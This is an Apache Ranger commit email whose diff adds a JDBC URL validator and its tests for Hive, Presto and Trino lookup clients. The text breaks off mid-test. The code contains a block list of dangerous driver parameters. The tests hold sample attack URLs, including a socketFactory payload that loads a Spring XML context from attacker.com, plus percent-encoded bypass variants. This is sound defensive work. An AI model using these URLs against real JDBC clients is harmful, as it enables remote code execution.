This is an automated email from the ASF dual-hosted git repository.
vyommani pushed a commit to branch ranger-2.10
in repository https://gitbox.apache.org/repos/asf/ranger.git
The following commit(s) were added to refs/heads/ranger-2.10 by this push:
new 4133385f6 RANGER-5808: Validate JDBC connection configuration in Hive,
Presto and Trino resource lookup clients (#1305)
4133385f6 is described below
commit 4133385f6a0d9541a4b132ee65303cf161dec06c
Author: Vyom Mani Tiwari <[email protected]>
AuthorDate: Tue Oct 13 22:44:22 2026 +0530
RANGER-5808: Validate JDBC connection configuration in Hive, Presto and
Trino resource lookup clients (#1305)
---
.../ranger/plugin/client/JdbcUrlValidator.java | 289 ++++++++++
.../ranger/plugin/client/JdbcUrlValidatorTest.java | 594 +++++++++++++++++++++
.../ranger/services/hive/client/HiveClient.java | 14 +
.../services/hive/client/JdbcUrlValidator.java | 121 -----
.../services/hive/client/JdbcUrlValidatorTest.java | 482 -----------------
.../services/hive/client/TestHiveClient.java | 68 +++
.../services/presto/client/PrestoClient.java | 14 +
.../services/presto/client/TestPrestoClient.java | 62 +++
.../ranger/services/trino/client/TrinoClient.java | 14 +
.../services/trino/client/TestTrinoClient.java | 66 +++
10 files changed, 1121 insertions(+), 603 deletions(-)
diff --git
a/agents-common/src/main/java/org/apache/ranger/plugin/client/JdbcUrlValidator.java
b/agents-common/src/main/java/org/apache/ranger/plugin/client/JdbcUrlValidator.java
new file mode 100644
index 000000000..b0cfcfad9
--- /dev/null
+++
b/agents-common/src/main/java/org/apache/ranger/plugin/client/JdbcUrlValidator.java
@@ -0,0 +1,289 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.ranger.plugin.client;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import java.net.URLDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+
+public final class JdbcUrlValidator {
+ private static final Logger LOG =
LoggerFactory.getLogger(JdbcUrlValidator.class);
+ private static final Set<String> BLOCKED_PARAMS =
Collections.unmodifiableSet(
+ new HashSet<>(Arrays.asList(
+ "socketfactory", "socketfactoryarg", "sslfactory",
"sslfactoryarg",
+ "sslhostnameverifier", "authenticationpluginclassname",
"loggerclassname",
+ "kerberosservername", "gssdelegatecred",
"sslpasswordcallback", "dnsresolver")));
+ private static final String[] DANGEROUS_PATTERNS = {"socketfactory",
"sslfactory", "autodeserialize"};
+
+ private JdbcUrlValidator() {
+ }
+
+ static void validate(String jdbcUrl) throws HadoopException {
+ if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) {
+ HadoopException e = new HadoopException("jdbc.url must not be null
or empty");
+ e.generateResponseDataMap(false, "Validation failed", "jdbc.url is
required",
+ null, "jdbc.url");
+ throw e;
+ }
+ String trimmed = jdbcUrl.trim();
+ rejectBlockedParameters(trimmed, trimmed);
+ // Hive decodes percent-escapes before splitting session variables, so
a
+ // separator written as %3B or %3F is invisible to a scan of the raw
URL.
+ if (trimmed.indexOf('%') >= 0) {
+ rejectBlockedParameters(percentDecode(trimmed), trimmed);
+ }
+ LOG.debug("jdbc.url passed validation: {}", sanitizeForLog(trimmed));
+ }
+
+ /**
+ * Validates jdbc.url and requires it to start with one of the given
prefixes,
+ * followed by a host. The prefix check uses the trimmed URL. Callers must
pass
+ * that same trimmed string to DriverManager.
+ */
+ public static void validate(String jdbcUrl, Collection<String>
allowedUrlPrefixes) throws HadoopException {
+ validate(jdbcUrl);
+
+ String candidate = jdbcUrl.trim();
+ String matchedPrefix = null;
+
+ if (allowedUrlPrefixes != null) {
+ for (String prefix : allowedUrlPrefixes) {
+ if (prefix != null && !prefix.isEmpty() &&
candidate.startsWith(prefix)) {
+ matchedPrefix = prefix;
+ break;
+ }
+ }
+ }
+
+ if (matchedPrefix == null) {
+ LOG.warn("Rejected jdbc.url with unsupported scheme: {}",
sanitizeForLog(candidate));
+
+ HadoopException e = new HadoopException("jdbc.url must start with
one of " + allowedUrlPrefixes);
+ e.generateResponseDataMap(false, "Invalid jdbc.url", "jdbc.url
must start with one of " + allowedUrlPrefixes, null, "jdbc.url");
+ throw e;
+ }
+
+ requireHost(candidate, matchedPrefix);
+ }
+
+ public static void validateDriverClassName(String driverClassName,
Collection<String> allowedDriverClassNames) throws HadoopException {
+ // Null skips registration. DriverManager then picks a driver that
accepts the URL,
+ // which the prefix and host checks already constrained.
+ if (driverClassName == null) {
+ return;
+ }
+
+ if (allowedDriverClassNames == null ||
!allowedDriverClassNames.contains(driverClassName)) {
+ LOG.warn("Rejected jdbc.driverClassName not in allowed list {}",
allowedDriverClassNames);
+
+ HadoopException e = new HadoopException("jdbc.driverClassName must
be one of " + allowedDriverClassNames);
+ e.generateResponseDataMap(false, "Invalid jdbc.driverClassName",
"jdbc.driverClassName must be one of " + allowedDriverClassNames, null,
"jdbc.driverClassName");
+ throw e;
+ }
+ }
+
+ /**
+ * An empty host is Hive embedded mode (jdbc:hive2://, jdbc:hive2:///,
jdbc:hive2://;...).
+ * That starts HiveServer2 inside the Admin JVM. A port with no hostname
+ * (jdbc:hive2://:10000/..., including one percent-encoded colon) is not a
host either.
+ * The same requirement applies to every allowed prefix. Hive also accepts
a
+ * comma-separated ZooKeeper ensemble, and each entry must have a host.
+ */
+ private static void requireHost(String url, String prefix) throws
HadoopException {
+ String rest = url.substring(prefix.length());
+
+ // java.net.URI decodes the authority once. Decode here so %3A10000 is
the same empty host as :10000.
+ if (rest.indexOf('%') >= 0) {
+ rest = percentDecode(rest);
+ }
+
+ if (!hasNonEmptyHost(rest)) {
+ LOG.warn("Rejected jdbc.url without a host: {}",
sanitizeForLog(url));
+
+ HadoopException e = new HadoopException("jdbc.url must include a
host");
+ e.generateResponseDataMap(false, "Invalid jdbc.url", "jdbc.url
must include a host", null, "jdbc.url");
+ throw e;
+ }
+ }
+
+ private static boolean hasNonEmptyHost(String rest) {
+ int authorityEnd = rest.length();
+
+ for (int i = 0; i < rest.length(); i++) {
+ char c = rest.charAt(i);
+
+ if (c == '/' || c == ';' || c == '?' || c == '#') {
+ authorityEnd = i;
+ break;
+ }
+ }
+
+ String authority = rest.substring(0, authorityEnd).trim();
+
+ if (authority.isEmpty()) {
+ return false;
+ }
+
+ for (String entry : authority.split(",", -1)) {
+ if (hostToken(entry).isEmpty()) {
+ return false;
+ }
+ }
+
+ return true;
+ }
+
+ private static String hostToken(String entry) {
+ String token = entry.trim();
+ int at = token.lastIndexOf('@');
+
+ if (at >= 0) {
+ token = token.substring(at + 1).trim();
+ }
+
+ if (token.startsWith("[")) {
+ int end = token.indexOf(']');
+
+ return end > 1 ? token.substring(1, end).trim() : "";
+ }
+
+ int colon = token.indexOf(':');
+
+ if (colon >= 0) {
+ token = token.substring(0, colon);
+ }
+
+ return token.trim();
+ }
+
+ private static void rejectBlockedParameters(String candidate, String
urlForLog) throws HadoopException {
+ int queryStart = findQueryStart(candidate);
+ if (queryStart != -1) {
+ validateQueryString(candidate.substring(queryStart + 1),
urlForLog);
+ }
+ }
+
+ private static String percentDecode(String value) throws HadoopException {
+ StringBuilder decoded = new StringBuilder(value.length());
+
+ for (int i = 0; i < value.length(); i++) {
+ char current = value.charAt(i);
+
+ if (current != '%') {
+ decoded.append(current);
+ continue;
+ }
+
+ if (i + 2 >= value.length()) {
+ throw invalidPercentEncoding(value);
+ }
+
+ int high = Character.digit(value.charAt(i + 1), 16);
+ int low = Character.digit(value.charAt(i + 2), 16);
+
+ if (high < 0 || low < 0) {
+ throw invalidPercentEncoding(value);
+ }
+
+ decoded.append((char) ((high << 4) + low));
+ i += 2;
+ }
+
+ return decoded.toString();
+ }
+
+ private static HadoopException invalidPercentEncoding(String url) {
+ LOG.warn("Rejected jdbc.url with invalid percent-encoding: {}",
sanitizeForLog(url));
+
+ String message = "jdbc.url contains invalid percent-encoding; a '%'
must be followed by two hex digits (encode a literal '%' as %25)";
+
+ HadoopException e = new HadoopException(message);
+ e.generateResponseDataMap(false, "Invalid jdbc.url", message, null,
"jdbc.url");
+ return e;
+ }
+
+ private static void validateQueryString(String queryString, String
fullUrl) throws HadoopException {
+ String[] tokens = queryString.split("[&;?]");
+ for (String token : tokens) {
+ if (token.trim().isEmpty()) {
+ continue;
+ }
+ int eqIdx = token.indexOf('=');
+ String paramName = (eqIdx >= 0 ? token.substring(0, eqIdx) :
token).trim();
+ String decodedParamName = paramName;
+ try {
+ // JDK 8: URLDecoder.decode(String, Charset) is Java 10+.
+ decodedParamName = URLDecoder.decode(paramName,
StandardCharsets.UTF_8.name());
+ } catch (Exception e) {
+ LOG.warn("Failed to decode parameter name: {}", paramName);
+ }
+
+ String normalized =
decodedParamName.toLowerCase().trim().replaceAll("[._-]", "");
+ if (BLOCKED_PARAMS.contains(normalized)) {
+ logAndThrow("blocked parameter", normalized, paramName,
fullUrl);
+ }
+ for (String danger : DANGEROUS_PATTERNS) {
+ if (normalized.contains(danger)) {
+ logAndThrow("dangerous pattern '" + danger + "'",
normalized, paramName, fullUrl);
+ }
+ }
+ if (normalized.contains("factory") &&
(normalized.contains("socket") || normalized.contains("ssl") ||
+ normalized.contains("connection") ||
normalized.contains("auth") ||
+ normalized.contains("driver") ||
normalized.contains("datasource"))) {
+ logAndThrow("potentially dangerous factory parameter",
normalized, paramName, fullUrl);
+ }
+ }
+ }
+
+ static String sanitizeForLog(String url) {
+ if (url == null) {
+ return "<null>";
+ }
+ int idx = findQueryStart(url);
+ return idx >= 0 ? url.substring(0, idx) + "?<params_redacted>" : url;
+ }
+
+ private static int findQueryStart(String url) {
+ int qIdx = url.indexOf('?');
+ int sIdx = url.indexOf(';');
+ if (qIdx >= 0 && sIdx >= 0) {
+ return Math.min(qIdx, sIdx);
+ } else if (qIdx >= 0) {
+ return qIdx;
+ } else if (sIdx >= 0) {
+ return sIdx;
+ }
+ return -1;
+ }
+
+ private static void logAndThrow(String reason, String normalized, String
originalParam, String fullUrl) {
+ LOG.warn("Rejected jdbc.url containing {} '{}' (param='{}'): {}",
reason, normalized, originalParam, sanitizeForLog(fullUrl));
+ HadoopException e = new HadoopException("jdbc.url contains a
prohibited parameter: '" + originalParam +
+ "'. This parameter is not permitted for security reasons.");
+ e.generateResponseDataMap(false, "Invalid jdbc.url parameter",
"Parameter '" +
+ originalParam + "' is blocked", null, "jdbc.url");
+ throw e;
+ }
+}
diff --git
a/agents-common/src/test/java/org/apache/ranger/plugin/client/JdbcUrlValidatorTest.java
b/agents-common/src/test/java/org/apache/ranger/plugin/client/JdbcUrlValidatorTest.java
new file mode 100644
index 000000000..cc57db793
--- /dev/null
+++
b/agents-common/src/test/java/org/apache/ranger/plugin/client/JdbcUrlValidatorTest.java
@@ -0,0 +1,594 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package org.apache.ranger.plugin.client;
+
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Nested;
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertThrows;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class JdbcUrlValidatorTest {
+ @Nested
+ @DisplayName("Valid JDBC URLs")
+ class ValidUrls {
+ @Test
+ @DisplayName("Simple JDBC URL without parameters")
+ void simpleUrlWithoutParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default"));
+ }
+
+ @Test
+ @DisplayName("URL with safe parameters")
+ void urlWithSafeParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?user=test&password=secret&ssl=true"));
+ }
+
+ @Test
+ @DisplayName("URL with Kerberos parameters")
+ void urlWithKerberosParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default?principal=hive/host@REALM;auth=kerberos"));
+ }
+
+ @Test
+ @DisplayName("PostgreSQL URL with safe parameters")
+ void postgresqlUrlWithSafeParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:postgresql://localhost:5432/db?user=test&ssl=true"));
+ }
+
+ @Test
+ @DisplayName("URL with leading/trailing whitespace")
+ void urlWithWhitespace() {
+ assertDoesNotThrow(() -> JdbcUrlValidator.validate("
jdbc:hive2://host:10000/db "));
+ }
+ }
+
+ @Nested
+ @DisplayName("Blocked Parameters - Exact Matches")
+ class BlockedParameters {
+ @Test
+ @DisplayName("Rejects exact blocked parameter names")
+ void rejectsExactBlockedParameters() {
+ for (String blockedParam : new String[] {
+ "socketfactory", "socketfactoryarg", "sslfactory",
"sslfactoryarg",
+ "sslhostnameverifier", "authenticationpluginclassname",
"loggerclassname",
+ "kerberosservername", "gssdelegatecred",
"sslpasswordcallback"
+ }) {
+ String url = "jdbc:hive2://host:10000/db?" + blockedParam +
"=malicious";
+ HadoopException exception =
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ assertTrue(exception.getMessage().contains(blockedParam));
+ }
+ }
+
+ @Test
+ @DisplayName("Rejects socketFactory with Spring
ClassPathXmlApplicationContext (original CVE)")
+ void rejectsOriginalCvePayload() {
+ String url = "jdbc:postgresql://127.0.0.1:5432/x" +
+
"?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext"
+
+ "&socketFactoryArg=http://attacker.com/evil.xml";
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ }
+ }
+
+ @Nested
+ @DisplayName("Dangerous Pattern Detection")
+ class DangerousPatterns {
+ @Test
+ @DisplayName("Rejects parameters containing dangerous patterns")
+ void rejectsDangerousPatterns() {
+ for (String pattern : new String[] {
+ "socketfactory", "sslfactory", "autodeserialize"
+ }) {
+ String url = "jdbc:hive2://host:10000/db?custom" + pattern +
"=malicious";
+ HadoopException exception =
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ }
+ }
+
+ @Test
+ @DisplayName("Rejects MySQL autoDeserialize parameter")
+ void rejectsMysqlAutoDeserialize() {
+ String url =
"jdbc:mysql://host:3306/db?customautodeserialize=true";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Nested
+ @DisplayName("Factory Pattern Detection")
+ class FactoryPatterns {
+ @Test
+ @DisplayName("Rejects factory-related parameters")
+ void rejectsFactoryParameters() {
+ for (String factoryParam : new String[] {
+ "customsocketfactory", "mysslconnectionfactory",
"authfactory",
+ "driverfactory", "datasourcefactory"
+ }) {
+ String url = "jdbc:postgresql://host:5432/db?" + factoryParam
+ "=com.evil.Factory";
+ HadoopException exception =
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ }
+ }
+
+ @Test
+ @DisplayName("Allows non-dangerous factory parameters")
+ void allowsNonDangerousFactory() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?factory=simple&timeout=30"));
+ }
+ }
+
+ @Nested
+ @DisplayName("URL Encoding Bypass Prevention")
+ class EncodingBypassPrevention {
+ @Test
+ @DisplayName("Rejects URL-encoded socketFactory (%46 = F)")
+ void rejectsUrlEncodedSocketFactory() {
+ String url =
"jdbc:hive2://host:10000/db?socket%46actory=malicious";
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"));
+ }
+
+ @Test
+ @DisplayName("Rejects various URL encoding bypass attempts")
+ void rejectsEncodedBypassAttempts() {
+ for (String encodedParam : new String[] {
+ "socket%46actory", // %46 = 'F'
+ "socket%66actory", // %66 = 'f'
+ "%73ocketfactory", // %73 = 's'
+ "ssl%46actory", // SSL factory with encoded F
+ "%73sl%46actory" // Multiple encoded characters
+ }) {
+ String url = "jdbc:postgresql://host:5432/db?" + encodedParam
+ "=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Test
+ @DisplayName("Rejects a blocked parameter hidden behind a
percent-encoded separator")
+ void rejectsEncodedSeparator() {
+ for (String url : new String[] {
+
"jdbc:hive2://host:10000/default%3BsocketFactory=com.example.X",
+
"jdbc:hive2://host:10000/default%3bsocketFactory=com.example.X",
+
"jdbc:hive2://host:10000/default%3Bsocket%46actory=com.example.X",
+
"jdbc:hive2://host:10000/db%3BsocketFactory=com.example.X?foo=bar"
+ }) {
+ HadoopException exception =
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url,
Collections.singletonList("jdbc:hive2://")));
+ assertTrue(exception.getMessage().contains("prohibited
parameter"), exception.getMessage());
+ }
+ }
+
+ @Test
+ @DisplayName("Allows a safe session variable behind a percent-encoded
separator")
+ void allowsSafeEncodedSeparator() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default%3Bssl=true%3BtransportMode=http",
Collections.singletonList("jdbc:hive2://")));
+ }
+
+ @Test
+ @DisplayName("Allows a percent-encoded character inside a safe
parameter value")
+ void allowsEncodedSafeValue() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default;principal=hive%2Fhost@REALM"));
+ }
+
+ @Test
+ @DisplayName("Decodes percent-escapes only once")
+ void decodesPercentEscapesOnce() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default%253BsocketFactory=com.example.X",
Collections.singletonList("jdbc:hive2://")));
+ }
+
+ @Test
+ @DisplayName("Rejects malformed percent-encoding")
+ void rejectsMalformedEncoding() {
+ for (String url : new String[] {
+ "jdbc:hive2://host:10000/default%",
+ "jdbc:hive2://host:10000/default;ssl=%ZZ"
+ }) {
+ HadoopException exception =
assertThrows(HadoopException.class, () -> JdbcUrlValidator.validate(url));
+ assertTrue(exception.getMessage().contains("invalid
percent-encoding"), exception.getMessage());
+ }
+ }
+ }
+
+ @Nested
+ @DisplayName("Case Sensitivity")
+ class CaseSensitivity {
+ @Test
+ @DisplayName("Rejects parameters regardless of case")
+ void rejectsParametersRegardlessOfCase() {
+ for (String paramName : new String[] {
+ "SOCKETFACTORY", "SocketFactory", "socketFactory",
+ "SSLFACTORY", "SslFactory", "sslFactory"
+ }) {
+ String url = "jdbc:hive2://host:10000/db?" + paramName +
"=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Test
+ @DisplayName("Handles mixed case with encoding")
+ void handlesMixedCaseWithEncoding() {
+ String url =
"jdbc:hive2://host:10000/db?Socket%46actory=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Nested
+ @DisplayName("Parameter Separator Handling")
+ class ParameterSeparators {
+ @Test
+ @DisplayName("Handles & separator")
+ void handlesAmpersandSeparator() {
+ String url =
"jdbc:hive2://host:10000/db?user=test&socketfactory=evil&ssl=true";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Handles ; separator")
+ void handlesSemicolonSeparator() {
+ String url =
"jdbc:hive2://host:10000/db?user=test;socketfactory=evil;ssl=true";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Handles mixed separators")
+ void handlesMixedSeparators() {
+ String url =
"jdbc:hive2://host:10000/db?user=test;ssl=true&socketfactory=evil";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Handles parameters without values")
+ void handlesParametersWithoutValues() {
+ String url =
"jdbc:hive2://host:10000/db?ssl&socketfactory&timeout=30";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Nested
+ @DisplayName("Character Obfuscation")
+ class CharacterObfuscation {
+ @Test
+ @DisplayName("Rejects parameters with separator character obfuscation")
+ void rejectsObfuscatedParameters() {
+ for (String obfuscatedParam : new String[] {
+ "socket.factory", "socket-factory", "socket_factory",
+ "ssl.factory", "ssl-factory", "ssl_factory"
+ }) {
+ String url = "jdbc:hive2://host:10000/db?" + obfuscatedParam +
"=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Test
+ @DisplayName("Handles multiple obfuscation techniques")
+ void handlesMultipleObfuscation() {
+ String url =
"jdbc:hive2://host:10000/db?Socket-Factory_ARG=malicious";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Nested
+ @DisplayName("Edge Cases and Error Conditions")
+ class EdgeCases {
+ @Test
+ @DisplayName("Rejects null URL")
+ void rejectsNullUrl() {
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(null));
+ assertTrue(exception.getMessage().contains("must not be null or
empty"));
+ }
+
+ @Test
+ @DisplayName("Rejects empty URL")
+ void rejectsEmptyUrl() {
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(""));
+ assertTrue(exception.getMessage().contains("must not be null or
empty"));
+ }
+
+ @Test
+ @DisplayName("Rejects whitespace-only URL")
+ void rejectsWhitespaceOnlyUrl() {
+ HadoopException exception = assertThrows(HadoopException.class, ()
-> JdbcUrlValidator.validate(" "));
+ assertTrue(exception.getMessage().contains("must not be null or
empty"));
+ }
+
+ @Test
+ @DisplayName("Handles URL without query parameters")
+ void handlesUrlWithoutQueryParameters() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default"));
+ }
+
+ @Test
+ @DisplayName("Handles URL with empty query string")
+ void handlesUrlWithEmptyQueryString() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?"));
+ }
+
+ @Test
+ @DisplayName("Handles URL with only separators in query")
+ void handlesUrlWithOnlySeparators() {
+ assertDoesNotThrow(() ->
JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?&;&;"));
+ }
+ }
+
+ @Nested
+ @DisplayName("Logging and Sanitization")
+ class LoggingAndSanitization {
+ @Test
+ @DisplayName("Sanitizes URL for logging")
+ void sanitizesUrlForLogging() {
+ String url =
"jdbc:hive2://host:10000/db?password=secret&user=test";
+ String sanitized = JdbcUrlValidator.sanitizeForLog(url);
+ assertFalse(sanitized.contains("secret"));
+ assertTrue(sanitized.contains("<params_redacted>"));
+ assertTrue(sanitized.contains("jdbc:hive2://host:10000/db"));
+ }
+
+ @Test
+ @DisplayName("Handles null URL in sanitization")
+ void handlesNullUrlInSanitization() {
+ String result = JdbcUrlValidator.sanitizeForLog(null);
+ assertEquals("<null>", result);
+ }
+
+ @Test
+ @DisplayName("Handles URL without parameters in sanitization")
+ void handlesUrlWithoutParamsInSanitization() {
+ String url = "jdbc:hive2://host:10000/db";
+ String result = JdbcUrlValidator.sanitizeForLog(url);
+ assertEquals(url, result);
+ }
+
+ @Test
+ void testSanitizeForLogWithSemicolonParams() {
+ String url =
"jdbc:hive2://server:10000/db;user=admin;password=secret";
+ String result = JdbcUrlValidator.sanitizeForLog(url);
+ assertEquals("jdbc:hive2://server:10000/db?<params_redacted>",
result);
+ }
+
+ @Test
+ void testSanitizeForLogWithQuestionMarkParams() {
+ String url =
"jdbc:hive2://server:10000/db?user=admin&password=secret";
+ String result = JdbcUrlValidator.sanitizeForLog(url);
+ assertEquals("jdbc:hive2://server:10000/db?<params_redacted>",
result);
+ }
+
+ @Test
+ void testSanitizeForLogWithMixedSeparators() {
+ String url =
"jdbc:hive2://server:10000/db;ssl=true?socketFactory=evil";
+ String result = JdbcUrlValidator.sanitizeForLog(url);
+ assertEquals("jdbc:hive2://server:10000/db?<params_redacted>",
result);
+ }
+ }
+
+ @Nested
+ @DisplayName("Mixed Parameter Delimiters")
+ class MixedDelimiters {
+ @Test
+ @DisplayName("Blocks dangerous param in semicolon when ? appears
later")
+ void blocksSemicolonBeforeQuestion() {
+ String url =
"jdbc:hive2://host:10000/db;socketFactory=evil?user=test";
+ HadoopException ex = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ assertTrue(ex.getMessage().contains("socketFactory"));
+ }
+
+ @Test
+ @DisplayName("Blocks dangerous param in question mark when ; appears
later")
+ void blocksQuestionBeforeSemicolon() {
+ String url =
"jdbc:hive2://host:10000/db?socketFactory=evil;user=test";
+ HadoopException ex = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ assertTrue(ex.getMessage().contains("socketFactory"));
+ }
+
+ @Test
+ @DisplayName("Handles semicolon-only Hive URLs")
+ void handlesSemicolonOnly() {
+ String url = "jdbc:hive2://host:10000/db;socketFactory=evil";
+ HadoopException ex = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ assertTrue(ex.getMessage().contains("socketFactory"));
+ }
+
+ @Test
+ @DisplayName("Handles question-only URLs")
+ void handlesQuestionOnly() {
+ String url = "jdbc:hive2://host:10000/db?socketFactory=evil";
+ HadoopException ex = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ assertTrue(ex.getMessage().contains("socketFactory"));
+ }
+ }
+
+ @Nested
+ @DisplayName("Integration Tests")
+ class IntegrationTests {
+ @Test
+ @DisplayName("Complex malicious URL with multiple attack vectors")
+ void complexMaliciousUrl() {
+ String url = "jdbc:postgresql://evil.com:5432/db" +
+ "?user=admin&password=secret" +
+
"&socket%46actory=org.springframework.context.support.ClassPathXmlApplicationContext"
+
+ "&socketFactoryArg=http://attacker.com/evil.xml" +
+ "&SSL-Factory=com.evil.SSLFactory" +
+ "&custom_autodeserialize=true";
+ assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("Real-world Hive URL with safe parameters")
+ void realWorldHiveUrl() {
+ String url = "jdbc:hive2://hive-server:10000/warehouse" +
+ "?principal=hive/[email protected]" +
+ ";auth=kerberos" +
+ ";ssl=true" +
+ ";sslTrustStore=/etc/hive/truststore.jks" +
+ ";transportMode=http" +
+ ";httpPath=cliservice";
+ assertDoesNotThrow(() -> JdbcUrlValidator.validate(url));
+ }
+
+ @Test
+ @DisplayName("PostgreSQL URL with safe SSL parameters")
+ void postgresqlSafeUrl() {
+ String url = "jdbc:postgresql://pg-server:5432/mydb" +
+ "?user=admin&password=secret&ssl=true&sslmode=require";
+ assertDoesNotThrow(() -> JdbcUrlValidator.validate(url));
+ }
+ }
+
+ @Nested
+ @DisplayName("URL scheme allow-list")
+ class UrlSchemeAllowList {
+ private final List<String> hivePrefixes =
Collections.singletonList("jdbc:hive2://");
+
+ @Test
+ void allowedScheme() {
+ for (String url : new String[] {
+ "jdbc:hive2://localhost:10000/default",
+
"jdbc:hive2://zk1:2181,zk2:2181/;serviceDiscoveryMode=zooKeeper;zooKeeperNamespace=hiveserver2",
+
"jdbc:hive2://host:10000/db;transportMode=http;httpPath=cliservice;ssl=true",
+ " jdbc:hive2://localhost:10000/default ",
+ "jdbc:hive2://[::1]:10000/default",
+ "jdbc:hive2://user:pass@host:10000/db"
+ }) {
+ assertDoesNotThrow(() -> JdbcUrlValidator.validate(url,
hivePrefixes));
+ }
+ }
+
+ @Test
+ void rejectedScheme() {
+ for (String url : new String[] {
+ "jdbc:mysql://localhost:3306/db",
+
"jdbc:mysql://address=(host=localhost)(port=3306)(autoDeserialize=true)(queryInterceptors=com.example.X)/db",
+
"jdbc:mysql://(host=localhost,port=3306,allowLoadLocalInfile=true)/db",
+ "jdbc:mysql://localhost:3306/db?allowLoadLocalInfile=true",
+ "jdbc:postgresql://localhost:5432/db",
+ "jdbc:h2:mem:test",
+ "jdbc:hive://localhost:10000/default",
+ "JDBC:HIVE2://localhost:10000/default",
+ "jdbc:presto://localhost:8080",
+ "hive2://localhost:10000"
+ }) {
+ HadoopException e = assertThrows(HadoopException.class, () ->
JdbcUrlValidator.validate(url, hivePrefixes));
+ assertTrue(e.getMessage().contains("jdbc.url must start
with"), e.getMessage());
+ }
+ }
+
+ @Test
+ @DisplayName("Blocked parameters are still rejected when the scheme is
allowed")
+ void blockedParameterWithAllowedScheme() {
+ assertThrows(HadoopException.class, () ->
